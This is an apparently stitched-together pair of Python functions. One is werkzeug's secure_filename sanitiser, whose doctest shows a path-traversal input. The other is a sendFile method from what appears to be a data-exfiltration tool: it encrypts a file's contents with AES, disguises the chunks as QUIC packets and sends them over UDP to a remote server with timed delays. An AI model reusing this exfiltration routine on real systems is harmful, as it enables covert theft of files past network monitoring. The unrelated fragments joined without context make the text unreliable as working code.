def secure_filename(filename):
    r"""Borrowed from :mod:`werkzeug.utils`, under the BSD 3-clause license.

    Pass it a filename and it will return a secure version of it.  This
    filename can then safely be stored on a regular file system and passed
    to :func:`os.path.join`.  The filename returned is an ASCII only string
    for maximum portability.

    On windows systems the function also makes sure that the file is not
    named after one of the special device files.

    >>> secure_filename("My cool movie.mov")
    'My_cool_movie.mov'
    >>> secure_filename("../../../etc/passwd")
    'etc_passwd'
    >>> secure_filename(u'i contain cool \xfcml\xe4uts.txt')
    'i_contain_cool_umlauts.txt'

    The function might return an empty filename.  It's your responsibility
    to ensure that the filename is unique and that you generate random
    filename if the function returned an empty one.

    :param filename: the filename to secure
    """
    _filename_ascii_strip_re = re.compile(r'[^A-Za-z0-9_.-]')
    _windows_device_files = ('CON', 'AUX', 'COM1', 'COM2', 'COM3', 'COM4',
                             'LPT1', 'LPT2', 'LPT3', 'PRN', 'NUL')
    if isinstance(filename, text_type):
        from unicodedata import normalize
        filename = normalize('NFKD', filename).encode('ascii', 'ignore')
        if not PY2:
            filename = filename.decode('ascii')
    for sep in os.path.sep, os.path.altsep:
        if sep:
            filename = filename.replace(sep, ' ')
    filename = str(_filename_ascii_strip_re.sub('', '_'.join(
                   filename.split()))).strip('._')

    # on nt a couple of special files are present in each folder.  We
    # have to ensure that the target file is not such a filename.  In
    # this case we prepend an underline
    if os.name == 'nt' and filename and \
       filename.split('.')[0].upper() in _windows_device_files:
        filename = '_' + filename

    return filename
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0